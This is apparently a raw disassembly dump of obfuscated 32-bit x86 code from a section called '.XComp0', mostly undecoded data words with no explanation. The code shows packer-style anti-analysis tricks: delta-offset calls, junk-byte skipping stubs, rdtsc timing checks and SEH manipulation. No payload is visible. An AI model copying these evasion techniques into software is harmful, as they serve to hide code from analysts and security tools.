		dd 8C2EDC87h, 0D9E8BC06h, 0FC21B5FFh, 6A05FCh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 6ACA96C3h, 87ECB80Bh, 5FF78166h, 2995FF91h, 0E805F927h
		dd 12h,	0FDD8B6A4h, 383EA6CCh, 0D7179C77h, 0C9AE829Eh
		dd 8589B4ADh, 5F93291h,	15B58B5Bh, 8B05FCFCh, 9858BFAh
		dd 6A05F918h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 55FC355h, 95311899h, 5F929A5h
		dd 0C48689h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0C1A946C3h, 0E1326AFBh, 0E956D4A3h
		dd 10h,	82D91466h, 7092364Fh, 0CD167531h, 618EBE17h, 0DD958B5Bh
		dd 6A05F90Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1A042444h, 46000000h, 0D20FC356h, 467C0C16h,	6830F4Bh
		dd 81000000h, 0B2CE02CFh, 4C2837Ch, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 1FC35545h, 921951E0h, 50898429h
		dd 8D5B5120h, 0FD10E985h, 53006A05h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 518D89C0h
		dd 8905F90Bh, 0B886h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 0F88B6666h, 0BD8B006Ah
		dd 5F904D9h, 0FF9EDF80h, 0FCFC21B5h, 56006A05h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 3820FA2h, 0F000000h
		dd 95FFD8B7h, 5F90099h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 0EC35242h, 8B66F850h,	506050FBh, 13E852h
		dd 73130000h, 0D74A33DBh, 0F1A9965Bh, 401E266h,	0D8FD4CF4h
		dd 310F5B6Ah, 585AD98Ah, 880Fh,	89610000h, 6A2434h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0D500AC3h, 0B5FF6657h, 5FCFC21h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0D2C35646h, 0BE322908h
		dd 71CDA0E3h, 0B810F10h, 0E9000000h, 6,	6360B78h, 0BD2B1AB6h
		dd 5F917E9h, 356995FFh,	0BF6605F9h, 0BD8371C9h,	5F917F5h
		dd 44840F00h, 0E9000000h, 0Ah, 4EBBAC65h, 0B934B9BDh, 0E95036DDh
		dd 8, 20DD2BF9h, 0A6F45635h, 6A243489h,	3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 0A352C350h
		dd 0DD6E473Fh, 0FF06A9C5h, 0FCFC21B5h, 95FFFC05h, 5F92E6Dh
		dd 0B459D8Bh, 0B5FF05F9h, 5FCFC21h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 38C35242h, 0BAB8151h, 0D45839Bh
		dd 21DD95FFh, 0BD8305F9h, 5F90A2Dh, 65840F02h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 7C02C351h, 89A881FCh, 0F90D9185h,	51858B05h
		dd 6A05F911h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0EA71C356h, 2D86E19Fh,	0E90000C6h
		dd 0Eh,	27491B97h, 52593674h, 0EF095A82h, 0FA8B1F29h, 331985C7h
		dd 5F9h, 6A0000h, 3E850h, 58200000h, 448958C3h,	44810424h
		dd 1C0424h, 50400000h, 1A7A01C3h, 0F508EE3Ah, 9D8B4358h
		dd 5F92BA1h, 0FFF263E9h, 85BD8BFFh, 8B05F926h, 56006AC1h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 0D6A17694h, 8503C5BBh, 0C1858D2Dh, 105F90Dh,	0F92B1DBDh
		dd 0F6BF9005h, 5017268Eh, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 5638E797h
		dd 6AE331h, 7E9h, 0F4C3E00h, 7C87AE38h,	6A006Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 4AC47CC3h, 0C375858Dh, 6A05FDh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 0B521A9C3h, 0C08325EFh
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0A9290181h, 0BD8B9992h, 5F90D49h, 52505750h
		dd 310F6160h, 712D6BBh,	5B585A36h, 0E8240489h, 0Ah, 0BDA13F6Dh
		dd 7E64A6E2h, 9D8BD546h, 5F92699h, 25B5015Bh, 6A05F910h
		dd 6A006A00h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 1B0FC352h, 63FA0301h, 0FFF9B70Fh
		dd 0F913ED95h, 55006A05h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 1F4D19E2h, 816E939Dh
		dd 0C01BDBEFh, 838D8D09h, 6605FCE9h, 0D1FFFA8Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0B6C35242h, 1785BD83h
		dd 0F0105F9h, 7985h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 6A026A68h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 509BC350h
		dd 11E9h, 0E43EBA00h, 32B6EE40h, 0D6419D55h, 5323BCEFh
		dd 489FDFFh, 8971B324h,	0F9348DB5h, 9995FF05h, 0F05F900h
		dd 68Dh, 0D9D0B00h, 6005F910h, 253D9589h, 0BF0F05F9h, 25E961DFh
		dd 0E800000Eh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 5FDC37Fh
		sub	edi, [ebp+5F92CD9h]
		mov	[ebp+5F9268Dh],	edx
		push	ecx
		push	ecx
		sub	edi, 0EAE032Ah
		pop	ebx
		pop	edi
		lea	eax, [ebp+5FCD97Ch]
		movzx	ebx, bx
		nop
		jmp	loc_5B79AA
; ---------------------------------------------------------------------------
		dd 5AA3BF81h, 5D51DC00h, 294F1B4Dh, 320D8D3Fh
		db 1Ah,	82h
; ---------------------------------------------------------------------------


loc_5B79AA:				; CODE XREF: .XComp0:005B7993j
		push	eax
		jge	loc_5B79BB
		push	eax
		push	edx
		pusha
		popa
		rdtsc
		mov	bh, dl
		pop	edx
		pop	eax


loc_5B79BB:				; CODE XREF: .XComp0:005B79ABj
		nop
		push	0
		push	ecx
		call	sub_5B79C7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B79C7	proc near		; CODE XREF: .XComp0:005B79BFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 14h
		inc	ecx
		push	ecx
		retn
sub_5B79C7	endp

; ---------------------------------------------------------------------------
		pop	eax
		movsx	ebx, ax
		push	large dword ptr	fs:0
		mov	[ebp+5F9353Dh],	eax
		mov	large fs:0, esp
		mov	bx, 0C757h
		inc	dword ptr [ebp+5F9197Dh]
		mov	[ebp+5F90049h],	ecx
		clc
		push	0FFFFFFFFh
		push	0
		push	ebx
		call	sub_5B7A0D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7A0D	proc near		; CODE XREF: .XComp0:005B7A05p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5B7A0D	endp

; ---------------------------------------------------------------------------
		db 72h,	0FEh, 1Ah
; ---------------------------------------------------------------------------
		jnp	loc_5B7A35
		jmp	loc_5B7A35
; ---------------------------------------------------------------------------
		db 8
		dd 87F21A02h, 9690F530h
		db 0
; ---------------------------------------------------------------------------


loc_5B7A35:				; CODE XREF: .XComp0:005B7A20j
					; .XComp0:005B7A26j
		push	dword ptr [ebp+5F91799h]
		call	near ptr loc_5B7A46+2
		sbb	bh, [ecx]
		sbb	al, bh
		mov	cl, 73h


loc_5B7A46:				; CODE XREF: .XComp0:005B7A3Bp
		adc	[ecx+1EAD9D8Bh], esp
		stc
		add	eax, 1195FF5Fh
		or	ecx, edi
		add	eax, 0ECE9h
		add	[ebx-6CED263h],	cl
		add	eax, 830F00B0h
		push	es
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 0E399D0Bh, 70E605F9h, 8971E4F8h, 0F907099Dh,	0F613C05h
		dd 0C583h, 0C8B60F00h, 1009BD8Bh, 6BA05F9h, 81000000h
		dd 5F41BBDFh, 66C18B0Fh, 3451E781h, 8B04E8C1h, 0F914B99Dh
		dd 0E2F76605h, 5E8h, 0C694F300h, 0BD8B2DC2h, 5F9099Dh
		dd 8D29505Bh, 5F90429h,	81C82B5Bh, 557ECBCBh, 0FD18B1Ch
		dd 88h,	5E900h,	4EBB0000h, 8B4609D0h, 0F9124985h, 835F5105h
		dd 8D2907C0h, 5F90D69h,	8B00C083h, 0F927919Dh, 0FD03B05h
		dd 0C83h, 60BB6600h, 40E9CAh, 8B660000h, 0B98D8BDEh, 0F05F90Ch
		dd 0E183F8B7h, 2B840F01h, 66000000h, 8E97EB81h,	0CB9A583h
		dd 80FE05F9h, 47BF60DFh, 89340A49h, 0F9124995h,	68D0F05h
		dd 8B000000h, 0F918719Dh, 0E905h, 0B58D0000h, 5FD4155h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 61C35242h
		dd 0D040E661h, 0EC3C2B12h, 0B5958960h, 2905F918h, 0F9105985h
		dd 6A6105h, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 1Ch,	64C35141h, 42912EEh, 92C34B5Ch,	1AED95FFh, 8B5105F9h
		dd 84B95BD9h, 66000008h, 0E183FA8Bh, 0CDB531FCh, 0FC05F927h
		dd 0D718D89h, 0C02B05F9h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 16h, 2CC35646h, 0DE868B7h,	20000000h, 0CE2A4426h
		dd 7D5D012Dh, 0BCDFE0ADh, 31259D8Bh, 0BA5F05F9h, 0
; ---------------------------------------------------------------------------


loc_5B7C04:				; CODE XREF: .XComp0:005B7C0Ej
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5B7C04
		push	0
		push	edx
		call	sub_5B7C1B
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7C1B	proc near		; CODE XREF: .XComp0:005B7C13p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5B7C1B	endp

; ---------------------------------------------------------------------------
		db 99h
		dd 18636C9Eh, 2F9F3896h, 0C5BD09D9h, 6A05F932h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 9080C355h, 0DBD9D89h, 880D05F9h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0AA07C353h, 0ECF4C7Eh, 89BC53F2h, 0F92EB18Dh, 6870F05h
		dd 8B000000h, 0F91E49BDh, 0DD958B05h, 6005F90Ch, 17258D8Bh
		dd 0CE8005F9h, 8D8B6193h, 5F926C1h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 94C35646h, 28ADF5D7h, 8A60F536h
		dd 6820FC5h, 89000000h,	0F90C299Dh, 8B506105h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 0E5C35747h,	4800FE1h, 66000000h
		dd 0BF300CBFh, 7759BCD6h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 31C35141h, 401BD8Bh, 0BD8305F9h, 5F91159h
		dd 80840F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 10FBC356h, 8166488Dh
		dd 0B86C1CD3h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5B7D83
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7D83	proc near		; CODE XREF: .XComp0:005B7D7Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_5B7D83	endp

; ---------------------------------------------------------------------------
		db 0E8h
		dd 0C04AC2E5h, 0E582AA6h, 4EE88D8Dh, 6A05F9h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 3D36E0C3h
		dd 0CCBE655Fh, 4EB74AD9h, 8166E1FFh, 83F70DEBh,	0F900FDBDh
		dd 840F0005h, 4ABh, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 7EC35646h, 0E2644A4Eh, 0FDBD83h, 0F0105F9h
		dd 49984h, 60D78100h, 83481C39h, 0F900FDBDh, 860F0305h
		dd 450h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 17h,	6CC35242h, 6025D20Ch, 4BDBD8Bh,	8C6605F9h, 55006AD9h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 51CE46D9h, 66EF295Fh, 177CCB81h, 8019CB80h, 8D0F04E1h
		dd 6, 34C19589h, 0C90A05F9h, 17A840Fh, 85890000h, 5F9344Dh
		dd 0BE9h, 71567800h, 0A1E7864Bh, 681C5BD5h, 2599858Bh
		dd 9D8905F9h, 5F934D5h,	42D8533h, 8D8905F9h, 5F9209Dh
		dd 52505090h, 69BF6660h, 6161605Fh, 0BE60310Fh,	5C4DF99Ah
		dd 5A615E51h, 6AF59058h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0BE8A042h, 0DA000000h
		dd 7636BB74h, 0CA6AC3A3h, 0BD0376B6h, 5F9247Dh,	399D8B5Fh
		dd 0E805F932h, 4, 1F03FFh, 0FCAABF66h, 0E9525050h, 11h
		dd 71CE262Ah, 35D3FAD3h, 21DDF07h, 5DB7071Dh, 60310F83h
		dd 410842BBh, 615E5051h, 448B585Ah, 8B0424h, 4019E1BBh
		dd 24448926h, 0EFBF6604h, 6A58F5h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 44374FC3h, 0F197CF5h
		dd 95FFDBB7h, 5F92AC5h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 0F3C35343h, 538BC46Bh, 277DDFA7h, 218589A8h
		dd 6A05FCFCh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0D630C350h, 0B1E86448h, 66D3F28Eh
		dd 29EF45BBh, 0F90FA58Dh, 0C7816605h, 0ECE97B00h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 0A4ECC352h, 0DD9D39F7h, 0FC19858Bh, 9D2B05FCh
		dd 5F91B29h, 1800C7h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0CE7228C3h, 58A0FC5h
		dd 0BF000000h, 3154A91Fh, 2595BD23h, 0B58B05F9h, 5FCFC1Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0E2C35545h
		dd 26659D8Bh, 858B05F9h, 5F92B89h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Dh, 6BC35141h, 83F64808h, 2EF5AE36h
		dd 0D9B70F0Bh, 0BB660689h, 858B179Bh, 5F92599h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 95C35242h, 0DE90781h
		dd 0DC000000h, 6441DB89h, 4050C793h, 7A94679Ah,	29044689h
		dd 0F9154D95h, 0E9609605h, 0Fh,	71DD428Ch, 0CFCE9C80h
		dd 41B74BD0h, 0F63CCA8h, 8Bh, 0E8506100h, 0Ch, 0AEAB1EDCh
		dd 4B076150h, 0FCE0D4CCh, 8E85250h, 0F7000000h,	0E7DD70CEh
		dd 5F17DC1Eh, 585A310Fh, 8C0F965Fh, 6, 34919D8Bh, 0B5FF05F9h
		dd 5FCFC19h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 18h,	65C35545h, 9868573h, 4819D8Bh, 0D76805F9h, 8AEFF676h
		dd 240481DCh, 10288D28h, 21858DF5h, 905FCFCh, 0F907999Dh
		dd 0DA8B5005h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1B042444h, 43000000h, 5C4BC353h, 8F744E00h
		dd 0FE92F01h, 7B000000h, 8D0408C7h, 8DAC97F4h, 782ED02Ch
		dd 95FF54DEh, 5F92AC5h,	7E8h, 695D5500h, 0DE1E1915h, 1AE59D8Bh
		dd 615B05F9h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	29C35545h, 0CE34986Fh, 9A807FD7h, 6880F27h, 8B000000h
		dd 0F91FCD9Dh, 0C7FB8B05h, 0F900FD85h, 305h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 0F858E496h, 5B06058Ah, 0C05CBB17h, 0BD8309E8h, 5FCFC21h
		dd 2D840F00h, 8B000000h, 0F92671BDh, 3DE905h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 6F139AC3h, 0FB8B7A22h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 2C65C352h, 0A4489668h
		dd 19199D29h, 6A05F9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 3A2CC3h,	209425FCh, 0BE5A942h, 0F926E5BDh
		dd 0FDBD8305h, 305F900h, 459850Fh, 880F0000h, 4, 95A7BB66h
		dd 0FC21BD83h, 0F0005FCh, 44284h, 574DB700h, 2041BD8Bh
		dd 0FF5B05F9h, 0FCFC21B5h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0AC2A32FDh
		dd 9CAD6136h, 6860F25h,	89000000h, 0F931258Dh, 0AD95FF05h
		dd 6A05F91Ah, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0CB69C350h, 2810Fh, 0DA8A0000h
		dd 0C19D2960h, 6105F912h, 0FC15B58Bh, 6A05FCh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0F8CB84C3h, 0D625D687h, 8DBF4FEBh, 0C7781317h, 1000106h
		dd 6E85700h, 81000000h,	4F505C3Bh, 0CE914h, 68BD0000h
		dd 8DE684C1h, 0AFE59F4Eh, 5F5F9B7Ch, 6101C381h,	6650310Dh
		dd 3489F98Bh, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0E549398Bh, 8998E6A9h, 0F905B9B5h
		dd 0B5FFF805h, 5FCFC21h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Ah, 72C35141h, 3A99378Ah,	0BD8B93EBh, 5F917E9h
		dd 272995FFh, 0F6005F9h, 685h, 8E0F00h,	66000000h, 6169BFBBh
		dd 0FC15B58Bh, 958905FCh, 5F90585h, 1809858Bh, 6A05F9h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0C5E9FBC3h, 868957FDh, 0C4h,	0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0A4C35242h,	0F098FB9Fh, 0C47EBF66h
		dd 0CDD958Bh, 0BF6605F9h, 8B66E2DCh, 4C283F8h, 1F71BD8Bh
		dd 8B6605F9h, 205089DAh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 0A7C35141h, 0E9858DC9h, 6A05FD10h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0E057C356h, 714FF319h, 0EE9h, 0FA8DDA00h, 65CAB3CDh
		dd 0D74BB03Bh, 0FEC02F2h, 584h,	0D3816600h, 8689F6DAh
		dd 0B8h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 16h,	0ACC35646h, 6ABC78h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0B6C35040h
		dd 0DD733DC2h, 8B66E778h, 21B5FFFAh, 6A05FCFCh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0D93CC353h, 8B14671Ah, 0F905E9BDh, 9995FF05h, 8B05F900h
		dd 0F913D5BDh, 3BBB9605h, 507E338Dh, 6E8h, 3FC3600h, 0E9658D07h
		dd 14h,	0B14D43BBh, 0E50E9879h,	0C459F0A8h, 1F07F551h
		dd 7FE656D7h, 0BD2B965Bh, 5F9249Dh, 0FC21B5FFh,	6A05FCh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 338813C3h, 868EDDC1h, 0B3154C0Ch, 0E19D8B3Dh, 0FF05F911h
		dd 0F9356995h, 56006A05h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0BD838964h, 5F917F5h
		dd 33840F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 3A95C355h, 547C9AFFh
		dd 6E85096h, 0A1000000h, 0CB0AF7DFh, 66965BD6h,	0B5FFFB8Bh
		dd 5FCFC21h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	0B8C35040h, 0AEE5BC59h,	0BEAFF76Ah, 10B59D03h
		dd 95FF05F9h, 5F92E6Dh,	0FC21B5FFh, 54BB05FCh, 0FF2415BCh
		dd 0F921DD95h, 4DC78105h, 837C957Ah, 0F90A2DBDh, 840F0205h
		dd 6Fh,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h
		dd 7FC35545h, 858B86B9h, 5F91151h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0CAC35242h,	0EA5BDB5Bh, 6B026BE1h
		dd 0C6F8B5h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 0D5BD2B60h, 0C705F90Fh, 0F9331985h
		dd 5, 31950100h, 0E905F912h, 0FFFFF284h, 5BFC5653h, 70E3815Fh
		dd 8B744B94h, 0F4E780C1h, 0DC1858Dh, 816605F9h,	90974BCBh
		dd 0AE853h, 35880000h, 77C54B2Eh, 0CDFB92A3h, 310F5250h
		dd 5F5B585Ah, 92B35150h, 0BB66905Bh, 6A75DFh, 28999D29h
		dd 6A05F9h, 2CBD8D89h, 858D05F9h, 5FDD319h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0A0C35141h, 11E9F938h
		dd 2F000000h, 45C2F9Ch,	0EE903DE1h, 0BDEB6C86h,	20FBC7F4h
		dd 835FF850h, 9D8B05C0h, 5F92AF1h, 6E86050h, 82000000h
		dd 99C63DE7h, 7E8DBh, 0FC3E0000h, 281070CBh, 51585823h
		dd 2F02B866h, 489615Ah,	55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 0FB3CA8D1h, 0FCAEB80h
		dd 68Fh, 9BD0B00h, 6A05F91Eh, 68D0F00h,	89000000h, 0F933B985h
		dd 66006A05h, 0AD2CD381h, 13ED95FFh, 6A05F9h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 76C568C3h
		dd 838D8D30h, 6605FCE9h, 0FF5133BBh, 1AD781D1h,	8370D2E8h
		dd 0F91785BDh, 850F0105h, 4Ah, 0F026AF8h, 51BFDAB7h, 906EAEDBh
		dd 2C0EBF66h, 0DA8B6650h, 0FDC78190h, 0FF421016h, 0F9009995h
		dd 52006A05h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 810F5033h, 0
; ---------------------------------------------------------------------------
		add	[ebp+5F92D8Dh],	eax
		jmp	loc_5B95E8
; ---------------------------------------------------------------------------
		call	$+5
		pop	ebp
		sub	ebp, 5FDD323h
		push	0
		push	ebx
		call	sub_5B8922
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8922	proc near		; CODE XREF: .XComp0:005B891Ap

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5B8922	endp

; ---------------------------------------------------------------------------
		dw 3A65h
		dd 0D6B23BAFh, 0DC98D29h, 6AF805F9h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8D78C355h
		dd 0FCD97C85h, 659D8B05h, 5005F935h, 8B665250h,	66310FDEh
		dd 5AAFADBFh, 24048958h, 0D9E9D381h, 8B660B43h,	35FF64FBh
		dd 0
; ---------------------------------------------------------------------------
		jmp	loc_5B899E
; ---------------------------------------------------------------------------
		db 0F2h, 69h, 5Ch
		dd 8B80163Eh, 0E47FDBEFh, 2FD0B3B3h
		db 0, 9Bh
; ---------------------------------------------------------------------------


loc_5B899E:				; CODE XREF: .XComp0:005B8988j
		pusha
		mov	dx, 6090h
		or	dx, 0C5BDh
		popa
		mov	large fs:0, esp
		xor	di, 0F1D5h
		inc	dword ptr [ebp+5F9197Dh]
		push	0
		push	edi
		call	sub_5B89C6
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B89C6	proc near		; CODE XREF: .XComp0:005B89BEp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5B89C6	endp

; ---------------------------------------------------------------------------
		dw 3534h
		dd 0FF6A5232h, 284D9589h
dword_5B89E0	dd 0BD8B05F9h, 5F90139h, 0FD9B5FFh, 8B0F05F9h, 3, 0FFF98B66h
					; DATA XREF: .XComp0:loc_572177r
					; .XComp0:00572307r
		dd 0F9091195h, 14DE905h, 0EB800000h, 0FC00B003h, 950170E6h
		dd 5F90521h, 0BD0171E4h, 5F92DCDh, 830F613Ch, 12Fh, 0FF5BD89h
		dd 0B60F05F9h, 0B99D01C8h, 0F05F918h, 1989h, 14E900h, 0C8A40000h
		dd 27A4DC05h, 0C2318729h, 0C4EC879Eh, 0BADE26BAh, 6BA7E58h
		dd 8B000000h, 0F917ADBDh, 0E8C18B05h, 0Dh, 736E458Ah, 3B5FD3C4h
		dd 9BDEE982h, 85895314h, 5F92701h, 0E8C15B5Bh, 29BD8B04h
		dd 6005F90Dh, 24298D31h, 666105F9h, 0FC8AE2F7h,	890Fh
		dd 0C82B0000h, 0D198D89h, 0FE905F9h, 0A0000000h, 13BE62FAh
		dd 4A33DB73h, 0A9965BD7h, 0D18B66F1h, 141D8589h, 6E905F9h
		dd 89000000h, 0F924E585h, 0C5858B05h, 8B05F909h, 0F906559Dh
		dd 7C08305h, 1469B531h,	0C08305F9h, 8870F00h, 60000000h
		dd 27C5858Bh, 3B6105F9h, 14830FD0h, 0F000000h, 381h, 0FFBF0F00h
		dd 52E9h, 0BDBD8B00h, 8B05F92Bh, 0F90FA18Dh, 81666005h
		dd 0F57213CBh, 259D8B61h, 8305F901h, 840F01E1h,	2Fh, 28B0Fh
		dd 0D98A0000h, 0FA1A583h, 60FE05F9h, 6E9h, 0E0997D00h
		dd 899ABE0Bh, 0F91E8D8Dh, 95896105h, 5F909C5h, 0E9FA8Bh
		dd 8D000000h, 0FD4B22B5h, 68B0F05h, 8B000000h, 0F918E59Dh
		dd 6A006A05h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 2955C351h, 0BD8B60A5h,	5F91235h
		dd 5E8h, 4677C200h, 8503B74Ch, 5F92535h, 95FF615Fh, 5F91AEDh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0A6C35141h
		dd 2953F816h, 0F9058DBDh, 68B95B05h, 6A000007h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 0A4F7C357h, 8589B6D0h, 5F91B05h, 15858589h, 0E18305F9h
		dd 51006AFCh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 67B69D28h, 0CD2E5F20h, 12E91Fh, 17A00000h
		dd 5C1CBBBh, 658328Bh, 207F37F0h, 0C3528007h, 8D9D8BFCh
		dd 8B05F917h, 0F92031BDh, 89C02B05h, 0F90C6585h, 0BA05h
